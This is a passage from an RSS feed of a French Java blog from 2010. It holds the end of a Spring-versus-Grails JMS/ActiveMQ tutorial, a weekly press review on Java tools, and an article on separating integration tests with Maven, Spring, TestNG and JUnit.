    &lt;ref local=&quot;jmsFactory&quot;/&gt;
   &lt;/property&gt;
&lt;/bean&gt;
&lt;!-- Définition d'une queue permettant d'échanger les message JMS --&gt;
&lt;bean id=&quot;destination&quot; class=&quot;org.apache.activemq.command.ActiveMQQueue&quot;&gt;
  &lt;constructor-arg index=&quot;0&quot;&gt;
    &lt;value&gt;queue.destination&lt;/value&gt;
   &lt;/constructor-arg&gt;
&lt;/bean&gt;
&lt;!-- Template JMS Spring simplifiant la gestion des message JMS --&gt;
&lt;bean id=&quot;listenerSample&quot; class=&quot;sample.activemq.ListenerSample &quot;/&gt;
&lt;bean id=&quot;listenerContainer&quot; class=&quot;org.springframework.jms.listener.DefaultMessageListenerContainer&quot;&gt;
  &lt;property name=&quot;concurrentConsumers&quot; value=&quot;3&quot;/&gt;
  &lt;property name=&quot;connectionFactory&quot; ref=&quot;jmsFactory&quot; /&gt;
  &lt;property name=&quot;destination&quot; ref=&quot;destination&quot; /&gt;
  &lt;property name=&quot;messageListener&quot; ref=&quot;listenerSample&quot; /&gt;
&lt;/bean&gt;
&lt;!-- création d'un bean spring qui utilise le template JMS et la destination pour envoyer les message --&gt;
&lt;bean id=&quot;springProducer&quot; class=&quot;sample.activemq.ProducerSample&quot;&gt;
  &lt;property name=&quot;template&quot; ref=&quot;jmsTemplate&quot;/&gt;
  &lt;property name=&quot;destination&quot; ref=&quot;destination&quot;/&gt;
&lt;/bean&gt;
&lt;/beans&gt;
</pre><ul><li>Créer le bean <strong>ProducerSample</strong>, qui s&#8217;appuie sur <strong>JmsTemplate</strong> de Spring pour créer et envoyer les messages JMS :</li></ul><pre class="brush: java; title: ; notranslate">
package sample.activemq;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.Session;
import javax.jms.TextMessage;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.jms.core.MessageCreator;
import java.util.Date;
/**
 * @author karl verger
 */
public class ProducerSample {
   private JmsTemplate jmsTemplate;
   private Destination destination;
   public void sendMessage(){
      MessageCreator messageCreator = new MessageCreator() {
        public Message createMessage(Session session) throws JMSException {
           TextMessage textMessage = session.createTextMessage();
           textMessage.setText(&quot;Hi, this is a Hello World with JMS &amp; ActiveMQ, &quot; + new Date());
           textMessage.setJMSType(&quot;text&quot;);
           return textMessage;
        }
      };
      getTemplate().send(getDestination(), messageCreator);
    }
    public JmsTemplate getJmsTemplate() {
      return jmsTemplate;
    }
    public void setJmsTemplate(JmsTemplate template) {
      this.jmsTemplate = jmsTemplate;
    }
    public Destination getDestination() {
      return destination;
    }
    public void setDestination(Destination destination) {
     this.destination = destination;
    }
}
</pre><ul><li>Créer le bean <strong>ListenerSample</strong> pour consommer les messages de manière asynchrone :</li></ul><pre class="brush: java; title: ; notranslate">
package sample.activemq;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageListener;
import javax.jms.TextMessage;
/**
 * @author karl verger
 */
public class ListenerSample implements MessageListener {
   public void onMessage(Message message) {
     try {
        System.out.println(&quot;GOT MESSAGE: &quot;+ ((TextMessage)message).getText() );
     } catch (JMSException ex) {
        Logger.getLogger(JmsListenerSample.class.getName()).
        log(Level.SEVERE, null, ex);
     }
   }
}
</pre><h3><a
name="JMSetActiveMQavecGrails"></a>JMS et ActiveMQ avec Grails</h3><p>Je vais essayer de démontrer à quel point l&#8217;utilisation de Grails permet de simplifier l&#8217;implémentation d&#8217;ActiveMQ et de booster la productivité. La mise en place de JMS avec Grails et ActiveMQ nécessite les étapes suivantes :</p><ul><li>Installer le plugin ActiveMQ avec la commande : <code>grails install-plugin activemq</code></li><li>Installer le plugin JMS avec la commande : <code>grails install-plugin jms</code></li><li>Créer une classe Groovy pour la production de messages :</li></ul><pre class="brush: java; title: ; notranslate">
class ProducerSample {
    def index = {
        def message = &quot;Hi, this is a Hello World with JMS &amp; ActiveMQ, &quot; + new Date()
        sendJMSMessage(&quot;queue.destination&quot;, message)
        render message
    }
}
</pre><ul><li>Créer un service Groovy pour la réception des messages :</li></ul><pre class="brush: java; title: ; notranslate">
class ListenerSample {
    boolean transactional = false
    static expose = ['jms']
    static destination = &quot;queue.destination&quot;
    def onMessage = {
       println &quot;GOT MESSAGE: $it&quot;
    }
}
</pre><h3><a
name="Retourdexprience"></a>Retour d&#8217;expérience</h3><p>La création et la préparation du projet Grails est très simple, l&#8217;outil <code>create-app</code> permet de générer rapidement la structure du projet avec des exemples de code fonctionnel. Avec Spring plusieurs étapes sont nécessaires pour la création et la configuration du projet.</p><p>Avec Grails, la configuration par défaut est générée lors de l&#8217;installation des plugins JMS et ActiveMQ ce qui n&#8217;est pas le cas pour l&#8217;exemple Spring ou une déclaration des <em>beans</em> est nécessaire dans le fichier <code>application-services.xml</code>.</p><p>Le plugin <code>grails-activemq</code> fournit une solution simple pour l&#8217;échange de messages entre applications et composants permettant ainsi de booster la productivité et de produire un code simple et facilement maintenable. Toutefois, ce plugin n&#8217;est toujours pas <em>production ready</em> et reste donc, pour le moment, à tester à petite échelle.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/03/31/jmsactivemq-spring-vs-grails/feed/</wfw:commentRss> <slash:comments>9</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/</link> <comments>http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#comments</comments> <pubDate>Mon, 15 Mar 2010 17:43:45 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[EJB]]></category> <category><![CDATA[HTML5]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[SoapUI]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[SpringSource]]></category> <category><![CDATA[tc Server]]></category> <category><![CDATA[Tests]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4198</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII TC Server spécial printemps Le coin de la technique Html5 en action soapUI s&#8217;enrichit du support de JMS et AMF Des tests unitaires expressifs grâce à Spock JBoss simplifie les tests dans les conteneurs EJB Evènements de notre communauté en [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#TCServerspcialprintemps">TC Server spécial printemps</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#Htmlenaction">Html5 en action</a></li><li><a
href="http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#soapUIajoutletestdeJMSetAMF">soapUI s&#8217;enrichit du support de JMS et AMF</a></li><li><a
href="http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#Destestsunitairesexpressifsgrc">Des tests unitaires expressifs grâce à Spock</a></li><li><a
href="http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#JBosssimplifielestestsdanslesc">JBoss simplifie les tests dans les conteneurs EJB</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/#SalonSolutionsLinuxOpenSource">Salon &laquo;&nbsp;Solutions Linux Open Source&nbsp;&raquo;</a></li></ul><p><em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="TCServerspcialprintemps"></a>TC Server spécial printemps</h4><p>Plus besoin de vous présenter Spring TC Server dont nous avons déjà parlé plus d&#8217;une fois sur le blog. Pour mémoire, TC Server est un Tomcat intégré à la sauce Spring. La nouveauté de la semaine vient de l&#8217;annonce d&#8217;une édition spéciale du TC Server 2.0 pour le printemps. Le TC Server Spring Edition est <a
href="http://www.springsource.org/node/2474" title="annoncé pour Avril" >annoncé pour Avril</a> et déjà mis à disposition des développeurs via la <a
href="http://www.springsource.com/products/tcserver/devedition" title="Developer Edition" >Developer Edition</a>. L&#8217;offre TC Server se répartit donc maintenant en trois éditions différentes:</p><ul><li>L&#8217;édition <em>standard</em> qui intègre l&#8217;offre de base TC Server (Administration, Déploiement, Diagnostic par Thread et Heap dump).</li><li>L&#8217;édition <em>spring</em> ajoute à la première offre, le monitoring automatique des applications déployées.</li><li>L&#8217;édition <em>developer</em> intègre TC Server dans Spring Tool Suite pour que les développeurs puissent surveiller en temps réel les performances de leurs applications.</li></ul><p>C&#8217;est aussi l&#8217;occasion pour SpringSource de fournir une bonne intégration avec les solutions VMWare pour déployer et tester facilement sur des machines virtuelles. Pour notre bonheur à tous, SpringSource inscrit donc durablement son TC Server dans le paysage des serveurs J2EE et continue à participer activement au développement de Tomcat.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Htmlenaction"></a>Html5 en action</h4><p>Comme une suite logique à notre article <a
href="http://blog.xebia.fr/2010/03/02/html-5-les-nouveaux-elements/" title="HTML5, les nouveaux éléments" >HTML5, les nouveaux éléments</a>, DevelopperWorks propose un <a
href="https://www.ibm.com/developerworks/web/tutorials/wa-html5/section4.html" title="tutoriel HTML5 + CSS3" >tutoriel HTML5 + CSS3</a>. Après quelques rappels succincts sur ces deux standards, Joe Lennon propose de soumettre quelques unes de ces nouveautés à l&#8217;épreuve du feu. Un survol relativement complet, puisqu&#8217;il couvre la nouvelle structure de page, quelques nouvelles balises sémantiques, la vidéo, CSS3, les nouveaux formulaires et le <em>canvas</em>. Un complément intéressant pour tous ceux qui étaient impatients de découvrir ces nouvelles possibilités.</p><h4><a
name="soapUIajoutletestdeJMSetAMF"></a>soapUI s&#8217;enrichit du support de JMS et AMF</h4><p>Le célèbre outil de test de WebService, SoapUi, poursuit sa marche en avant, et ajoute de nouvelles cordes à son arc. <a
href="http://www.soapui.org/new_and_noteworthy_3_5.html" title="La version 35" >La version 3.5</a> offre de nouvelles fonctionnalités particulièrement utiles aux développeurs travaillant sur des architectures web complexes, en particulier le test des ressources JMS.<br
/> Les développeurs de chez EviWare n&#8217;ont pas réinventé la roue, et ont <em>seulement</em> intégré un <em>framework</em> robuste sur ce sujet, <a
href="http://www.hermesjms.org/confluence/display/HJMS/Home" title="HermesJMS" >HermesJMS</a>. A vous les joies de poster / recevoir des messages JMS (texte ou xml), de manipuler les <em>headers</em>, de scripter vos files, et surtout d&#8217;automatiser vos tests d&#8217;intégration facilement.<br
/> De manière plus anecdotique (à notre sens en tout cas), cette nouvelle version propose aussi un ensemble d&#8217;outils pour tester vos ressources JDBC.<br
/> Enfin, dernière évolution majeure que nous n&#8217;avons pas eu l&#8217;occasion de tester, mais qui semble prometteuse, la possibilité de tester vos scripts AMF (Flash et Flex).<br
/> Tous les tutoriels se trouvent dans la page de la <em>release</em> 3.5 (qui ne va bien sûr pas sans son lot de corrections de bugs).</p><h4><a
name="Destestsunitairesexpressifsgrc"></a>Des tests unitaires expressifs grâce à Spock</h4><p><a
href="http://code.google.com/p/spock/" title="Spock" >Spock</a> est une petite librairie de tests unitaires en Groovy permettant d&#8217;écrire un test sous le format spécification (le format given/when/then est aussi supporté) :</p><pre class="brush: java; title: ; notranslate">
def &quot;subscribers receive published events at least once&quot;() {
      when: publisher.send(event)
      then: (1.._) * subscriber.receive(event)
      where: event &lt;&lt; [&quot;started&quot;, &quot;paused&quot;, &quot;stopped&quot;]
    }
</pre><p>La <a
href="http://pniederw.wordpress.com/2010/03/11/whats-new-in-spock-0-4-episode-1-data-tables/" title="version 0.4" >version 0.4</a> apporte la notion de &laquo;&nbsp;Data tables&nbsp;&raquo;. On retrouve cette notion dans d&#8217;autres API (notamment <a
href="http://testng.org/doc/documentation-main.html#parameters-dataproviders" title="testNG" >testNG</a>). Cependant l&#8217;apport de Groovy rend le test vraiment très expressif :</p><pre class="brush: java; title: ; notranslate">
def &quot;maximum of two numbers&quot;() {
  expect:
  Math.max(a, b) == c
  where:
  a | b | c
  3 | 7 | 7
  5 | 4 | 5
  9 | 9 | 9
}
</pre><p>Une petite librairie sympathique à découvrir <a
href="http://code.google.com/p/spock/wiki/SpockBasics" title="ici" >ici</a>.</p><h4><a
name="JBosssimplifielestestsdanslesc"></a>JBoss simplifie les tests dans les conteneurs EJB</h4><p>JBoss vient <a
href="http://in.relation.to/14773.lace" title="d'annoncer" >d&#8217;annoncer</a> une première version alpha d&#8217;un nouveau projet baptisé <a
href="http://community.jboss.org/en/arquillian" title="Arquillian" >Arquillian</a>. Ce projet permet de simplifier l&#8217;écriture de tests unitaires qui doivent s&#8217;exécuter au sein d&#8217;un conteneur EJB. S&#8217;il est parfaitement possible de tester un <em>session bean</em> hors conteneur depuis l&#8217;arrivée de Pojos dans EJB 3.0, disposer d&#8217;un conteneur EJB permet de simplifier les injections de dépendance qui doivent être réalisées via l&#8217;annotation <code>@EJB</code> ainsi que les accès à des ressources propres au conteneur.</p><p>Conscient de cette problématique, pour laquelle l&#8217;univers Spring offre de nombreuses solutions, JBoss tente depuis plusieurs années d&#8217;apporter une réponse satisfaisante aux développeurs. Cette quête s&#8217;est engagée dès le développement des première versions de son conteneur EJB 3.0 avec le développement d&#8217;une déclinaison pouvant être démarrée depuis des tests et nommée Embeddable EJB (<a
href="http://shrubbery.mynetgear.net/wiki/Embedded_JBoss_/_Embedded_EJB3" title="renommée" >renommée</a> depuis <a
href="http://community.jboss.org/wiki/JBossEmbeddedAS" title="JBoss Embedded AS" >JBoss Embedded AS</a>) ; cette initiative avait par ailleurs permis d&#8217;embarquer un conteneur EJB 3.0 dans Tomcat. Aujourd&#8217;hui Arquillian va plus loin en proposant une API de plus haut niveau pour tester ses EJB : l&#8217;ensemble des fastidieuses tâches de démarrage du conteneur sont ainsi masquées et le développeur n&#8217;a plus qu&#8217;a décrire son besoin.</p><p>Le projet est pour le moment à un stade embryonnaire et il faudra probablement plusieurs mois avant que l&#8217;on dispose d&#8217;un ensemble cohérent pour l&#8217;utilisation au sein des projets EJB. Toutefois, le souhait affiché d&#8217;utiliser Arquillian  pour les tests internes de Seam 3 et pour les TCK de <a
href="http://blog.xebia.fr/2009/10/05/revue-de-presse-xebia-128/#WebBeansestmortLonguevieaWeld" title="Weld" >Weld</a> permet d&#8217;espérer une rapide évolution pour cette API.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="SalonSolutionsLinuxOpenSource"></a>Salon &laquo;&nbsp;Solutions Linux Open Source&nbsp;&raquo;</h4><p>Le salon &laquo;&nbsp;<a
href="http://www.solutionslinux.fr/" title="Solutions Linux Open Source" >Solutions Linux Open Source</a>&nbsp;&raquo; se déroulera cette semaine à la Porte de Versailles. De nombreux exposants y seront présents tels Oracle, Linagora, Alter Way, Canonical et <a
href="http://www.solutionslinux.fr/exposants_154_291_p.html" title="bien dautres" >bien d&#8217;autres</a> encore&#8230; C&#8217;est l&#8217;occasion d&#8217;assister à de nombreuses conférences dont celles qui nous semblent les plus intéressantes sont:</p><ul><li><a
href=" http://www.solutionslinux.fr/animation_4_168_169_p.html?cid=183" title="Oracle et lopen source" >Oracle et l&#8217;open source</a></li><li><a
href="http://www.solutionslinux.fr/animation_8_168_170_p.html?cid=29" title="Progiciels le logiciel libre envahit le domaine fonctionnel" >Progiciels, le logiciel libre envahit le domaine fonctionnel</a></li><li><a
href="http://www.solutionslinux.fr/animation_8_168_170_p.html?cid=30" title="Virtualisation retours sur investissement et bonnes pratiques de la virtualisation" >Virtualisation: retours sur investissement et bonnes pratiques de la virtualisation</a></li><li><a
href="http://www.solutionslinux.fr/animation_8_168_170_p.html?cid=31" title="Mobilité: smartphones, le libre prépondérant ?" >Mobilité: smartphones, le libre prépondérant ?</a></li><li><a
href="http://www.solutionslinux.fr/animation_2_168_172_p.html?cid=34" title="Dveloppement logiciel collaboratif  bonnes pratiques premiers bilans" >Développement logiciel collaboratif : bonnes pratiques, premiers bilans</a></li><li><a
href="http://www.solutionslinux.fr/animation_2_168_172_p.html?cid=35" title="Meilleures pratiques pour lintgration continue et mthodes agiles avec  Subversion Ant Maven et CruiseControl" >Meilleures pratiques pour l&#8217;intégration continue et méthodes agiles avec : Subversion, Ant, Maven et CruiseControl</a></li></ul><p>De nombreuses <a
href="http://www.solutionslinux.fr/animations_9_168_171_p.html" title="formations" >formations</a> seront aussi dispensées, mais par contre, elles sont payantes. L&#8217;an passé, c&#8217;est surtout l&#8217;omniprésence des solutions de virtualisation qui nous avait marqué. Quel sera le thème majeur du salon cette année ?</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/03/15/revue-de-presse-xebia-151/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Comment séparer ses tests d&#8217;intégration ?</title><link>http://blog.xebia.fr/2010/01/13/comment-separer-ses-tests-dintegrations/</link> <comments>http://blog.xebia.fr/2010/01/13/comment-separer-ses-tests-dintegrations/#comments</comments> <pubDate>Wed, 13 Jan 2010 11:28:40 +0000</pubDate> <dc:creator>Nathaniel Richand</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Intégration]]></category> <category><![CDATA[junit]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[TestNG]]></category> <category><![CDATA[Tests]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3782</guid> <description><![CDATA[Une question récurrente pour les équipes qui commencent à industrialiser leur build avec du Maven et qui utilisent de manière intensive JUnit. Au bout d&#8217;un moment, les tests d&#8217;intégrations ralentissent de manière conséquente le build et parfois découragent les développeurs à cause de leurs pré-requis plus importants que les tests unitaires. Comment les séparer des [...]]]></description> <content:encoded><![CDATA[<p>Une question récurrente pour les équipes qui commencent à industrialiser leur build avec du Maven et qui utilisent de manière intensive JUnit. Au bout d&#8217;un moment, les tests d&#8217;intégrations ralentissent de manière conséquente le build et parfois découragent les développeurs à cause de leurs pré-requis plus importants que les tests unitaires.<br
/> Comment les séparer des tests unitaires et comment éviter qu&#8217;ils soient lancés à chaque build Maven?</p><h3><a
name="Testunitaireoutestdintgration"></a>Test unitaire ou test d&#8217;intégration</h3><p><a
href="http://blog.xebia.fr/wp-content/uploads/2010/01/TestTypologie.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2010/01/TestTypologie-300x168.png" alt="TestTypologie" title="TestTypologie" width="300" height="168" style="margin: 1em 1em 1em 1em; float: right;" /></a></p><p>La démarcation entre les tests unitaires et les tests d&#8217;intégrations est souvent floue et longuement débattue sur un projet.</p><p>Ce qui caractérise avant tout les tests unitaires, c&#8217;est leur périmètre réduit et surtout leur rapidité d&#8217;exécution (<a
href="http://blog.xebia.fr/2008/04/11/les-10-commandements-des-tests-unitaires/" title="cf les 10 commandements des tests unitaires" >cf. les 10 commandements des tests unitaires</a>). De même, les tests unitaires ne doivent pas avoir de pré-requis complexes et ne pas dépendre d&#8217;un système extérieur pouvant être indisponible (une base de donnée, un service fourni par une autre application, un broker JMS, etc.).</p><p>Il est très important de soigner ses tests unitaires pour que ceux-ci restent une véritable aide au développement. Si l&#8217;un d&#8217;eux échoue pour une raison extérieure au test et au code testé, ou bien s&#8217;ils deviennent de plus en plus lents, vous allez voir fleurir des &nbsp;&raquo; <em>@Ignore</em> &nbsp;&raquo; et les développeurs vont prendre l&#8217;habitude de builder en rajoutant l&#8217;option &laquo;&nbsp;-Dmaven.test.skip&nbsp;&raquo;. Enfin avec le temps, les tests vont devenir une contrainte plus qu&#8217;une aide et vont progressivement disparaître.</p><p>Cependant, nous ne voulons pas pour autant faire une croix sur les tests d&#8217;intégration. Ceux-ci sont très utiles pour vérifier le lien entre les différentes parties, ou faire des tests plus élaborés. De même, ils restent indispensables sur certaines couches, notamment les couches DAO ou WebServices où l&#8217;utilité de tests unitaires reste à voir. En effet quel est l&#8217;intérêt de tester le bon fonctionnement d&#8217;un mock ?</p><p>La question à laquelle nous allons tacher de répondre est donc : <strong>comment séparer de manière propre ces différents types de tests ?</strong></p><h3><a
name="CommentfaireavecMaven"></a>Comment faire avec Maven</h3><h4><a
name="Sparerlestestsdintgrationdansu"></a>Séparer les tests d&#8217;intégration dans un module à part</h4><p>Il existe plusieurs façons de procéder avec Maven, la plus simple étant de placer les tests d&#8217;intégration dans un module séparé du reste du projet. Bien que facile à mettre en place, cela a pour effet de décorreler les sources des tests et de multiplier les modules.</p><p>Dans le même ordre d&#8217;idées, on peut envisager de créer un seul module qui contiendrait tous les tests d&#8217;intégration. Cependant, cette approche n&#8217;est envisageable que si le projet contient un nombre très réduit de modules. Le code de test doit être traité avec autant d&#8217;égard que le reste du code. Tout comme on essaye de bien segmenter le code en parties logiques, on essaiera également de ne pas transformer ses tests en grand plat de spaghettis.</p><h4><a
name="Utilisationdesprofilesmaven"></a>Utilisation des profiles maven</h4><p>L&#8217;approche recommandée est la séparation via un profil dédié et la différenciation des tests d&#8217;intégration par pattern. Le but est de définir une convention pour cataloguer ses tests d&#8217;intégration :</p><ul><li>soit sur le nom de la classe (ex : *ITest.java)</li><li>soit sur le nom du package (ex : **/integration/**)</li></ul><p><u>Exemple de séparation sur le nom de package :</u></p><p>Tout d&#8217;abord on enlève toutes les classes contenues dans un package &nbsp;&raquo; <em>integration</em> &nbsp;&raquo; des tests.</p><pre class="brush: xml; title: ; notranslate">
&lt;build&gt;
	&lt;plugins&gt;
        	&lt;plugin&gt;
			&lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
			&lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;
			&lt;version&gt;2.4.2&lt;/version&gt;
			&lt;configuration&gt;
				&lt;skip&gt;true&lt;/skip&gt;
			&lt;/configuration&gt;
			&lt;executions&gt;
				&lt;execution&gt;
					&lt;id&gt;surefire-test&lt;/id&gt;
					&lt;phase&gt;test&lt;/phase&gt;
					&lt;goals&gt;
						&lt;goal&gt;test&lt;/goal&gt;
					&lt;/goals&gt;
					&lt;configuration&gt;
						&lt;skip&gt;false&lt;/skip&gt;
						&lt;excludes&gt;
							&lt;exclude&gt;**/integration/**&lt;/exclude&gt;
						&lt;/excludes&gt;
					&lt;/configuration&gt;
				&lt;/execution&gt;
			&lt;/executions&gt;
        	&lt;/plugin&gt;
	&lt;/plugins&gt;
&lt;/build&gt;
</pre><p>Puis, on redéfinit la phase &nbsp;&raquo; <em>integration-test</em> &nbsp;&raquo; en lui intégrant les classes contenues dans les package &nbsp;&raquo; <em>integration</em> &laquo;&nbsp;.</p><pre class="brush: xml; title: ; notranslate">
&lt;profile&gt;
	&lt;id&gt;integration-testing&lt;/id&gt;
	&lt;build&gt;
		&lt;plugins&gt;
			&lt;plugin&gt;
				&lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
				&lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;
				&lt;version&gt;2.4.2&lt;/version&gt;
				&lt;configuration&gt;
					&lt;skip&gt;true&lt;/skip&gt;
				&lt;/configuration&gt;
				&lt;executions&gt;
					&lt;execution&gt;
						&lt;id&gt;surefire-itest&lt;/id&gt;
						&lt;phase&gt;integration-test&lt;/phase&gt;
						&lt;goals&gt;
							&lt;goal&gt;test&lt;/goal&gt;
						&lt;/goals&gt;
						&lt;configuration&gt;
							&lt;skip&gt;false&lt;/skip&gt;
							&lt;includes&gt;
								&lt;include&gt;**/integration/**&lt;/include&gt;
							&lt;/includes&gt;
						&lt;/configuration&gt;
					&lt;/execution&gt;
				&lt;/executions&gt;
			&lt;/plugin&gt;
		&lt;/plugins&gt;
	&lt;/build&gt;
&lt;/profile&gt;
</pre><p>Cette approche a l&#8217;avantage de garder dans un même module les tests d&#8217;intégration et le code, tout en les regroupant sous un même package. Cependant, le seul point faible de cette approche réside dans le fait que le test d&#8217;intégration ne se retrouve plus dans le même package que la classe testée. Ainsi, on ne pourra plus accéder aux variables et méthodes protected.</p><h4><a
name="Futur"></a>Futur?</h4><p>L&#8217;approche idéale dans Maven serait de séparer les tests d&#8217;intégrations de la même manière que les tests sont séparés du code. On pourrait ainsi avoir :</p><pre class="brush: java; title: ; notranslate">
+- main
  +-- java
  +-- resources
+- test
  +-- java
  +-- resources
+- it
  +-- java
  +-- resources
</pre><p>Cette possibilité est très attendue par les développeurs mais impossible avec Maven2.<br
/> Maven3 le permettra-t-il ? Pour l&#8217;instant aucune information n&#8217;a filtré à ce sujet&#8230;</p><h3><a
name="CommentfaireaveclerunnerJUnitd"></a>Comment faire avec le runner JUnit de Spring</h3><p>Spring propose une surcouche à JUnit en l&#8217;enrichissant de nouvelles fonctionnalités. Celle qui nous intéressera particulièrement est l&#8217;utilisation du runner JUnit : <a
href="http://static.springsource.org/spring/docs/2.5.6/reference/testing.html|Spring test reference" title="SpringJUnit4ClassRunner" >SpringJUnit4ClassRunner</a> en plus de l&#8217;annotation <a
href="http://static.springsource.org/spring/docs/2.5.6/reference/testing.html" title="IfProfileValue" >@IfProfileValue</a> . Celle-ci permet de catégoriser les tests. Ceux étant annotés ainsi ne seront exécutés que si une variable d&#8217;environnement équivalente au contenu de l&#8217;annotation est présente dans le classpath.</p><pre class="brush: java; title: ; notranslate">
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.test.annotation.IfProfileValue;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(locations={&quot;/test-configuration.xml&quot;})
public class IntegrationTest {
	@IfProfileValue(name=&quot;test-group&quot;, value=&quot;integration&quot;)
	@Test
	public void test(){
		...
	}
}
</pre><p>De base, nos tests annotés ne sont pas exécutés. Pour qu&#8217;ils soient exécutés, il suffit de les lancer en rajoutant comme argument : <em>-Dtest-group=integration.</em></p><p><em>Si vous utilisez Eclipse et que vous souhaitez activer vos tests d&#8217;intégrations par défaut, rien de plus simple :</em></p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/01/EclipseTestConfig.png" border="0" alt="" /></div><p>En conclusion, cette solution offre l&#8217;avantage d&#8217;être assez souple et de pouvoir regrouper dans une même classe différents types de tests.</p><h3><a
name="CommentfaireavecTestNG"></a>Comment faire avec TestNG</h3><p>TestNG est un framework de tests offrant de nombreuses fonctionnalités supplémentaires par rapport à JUnit. Avec TestNG il est possible de spécifier le ou les groupes de tests concernés directement dans l&#8217;annotation @Test.</p><pre class="brush: java; title: ; notranslate">
@Test(groups = &quot;integrationTest&quot;)
public class Test {
  public foo() {}
  public bar() {}
}
</pre><p>Pour exclure des groupes de tests en utilisant TestNG, il suffit de lui rajouter l&#8217;option <em>-excludegroups=&nbsp;&raquo;xxx,yyy&nbsp;&raquo;</em>.<br
/> Si vous utilisez Maven il faut configurer <a
href="http://maven.apache.org/plugins/maven-surefire-plugin/examples/testng.html" title="Surefire" >Surefire</a> de la sorte :</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
    &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
    &lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;
    &lt;version&gt;2.4.2&lt;/version&gt;
    &lt;configuration&gt;
      &lt;groups&gt;integrationTest&lt;/groups&gt;
    &lt;/configuration&gt;
  &lt;/plugin&gt;
</pre><p>Cette solution est surement la plus complète et la plus souple avec les notions de groupe de groupes, groupes partiels, etc. (<a
href="http://testng.org/doc/documentation-main.html#test-groups" title="cf documentation" >cf. documentation</a>)</p><h3><a
name="EtpourJUnit"></a>Et pour JUnit?</h3><p>Attendue depuis longtemps par la communauté, JUnit propose dans sa version 4.8 une fonctionnalité expérimentale, les <a
href="http://kentbeck.github.com/junit/javadoc/4.8/org/junit/experimental/categories/package-summary.html" title="@Category" >@Category</a> (<a
href="http://java.dzone.com/articles/david-saff-talks-about-junit" title="Voir la prsentation de David Saff" >Voir la présentation de David Saff</a>) :</p><pre class="brush: java; title: ; notranslate">
public interface SlowTests {}
public class A {
   @Category(SlowTests.class)
   @Test
   public void testA(){
   }
}
@RunWith(Categories.class)
@IncludeCategory(SlowTests.class)
@SuiteClasses( { A.class})
public class SlowTestSuite {
}
</pre><p>Cette solution n&#8217;est cependant pas encore très mature. En effet, il est nécessaire de créer une interface pour chaque type de test et il faut impérativement définir manuellement la suite de tests en y ajoutant une à une les classes de tests à inclure (<a
href="http://wiki.community.objectware.no/display/smidigtonull/How+to+use+JUnit+Categories+to+implement+JigZaw" title="mme sil existe quelques astuces" >même s&#8217;il existe quelques astuces</a>). De plus, le lien avec le plugin Surefire de Maven n&#8217;existe pas encore.<br
/> Cette solution est donc une alternative à surveiller mais pas encore à utiliser.</p><h3><a
